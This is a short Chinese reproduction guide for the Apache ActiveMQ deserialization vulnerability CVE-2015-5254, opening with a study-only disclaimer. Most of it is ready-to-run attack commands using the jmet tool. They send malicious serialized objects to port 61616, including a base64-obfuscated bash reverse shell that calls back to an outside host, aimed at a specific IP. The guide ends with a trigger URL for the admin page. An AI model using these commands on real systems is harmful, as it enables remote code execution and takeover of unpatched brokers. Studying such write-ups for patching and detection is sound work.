ActiveMQ 反序列化漏洞(CVE-2015-5254)
此文章仅供用于学习研究,严禁用于非法用途,否则后果自负。
漏洞简介
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞影响
Apache ActiveMQ 5.x ~ 5.13.0
漏洞复现
工具地址:
https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0
命令:
#在/tmp/下创建文件
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/Angustest" -Yp ROME 192.168.102.137 61616
#反弹shell使用base64加密
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS8zMzA2IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 49.235.76.210 61616
1、构造(可以使用ysoserial)可执行命令的序列化对象
2、作为一个消息,发送给目标61616端口
3、 访问web管理页面,读取消息,触发漏洞
http://ip:8161/admin/browse.jsp?JMSDestination=event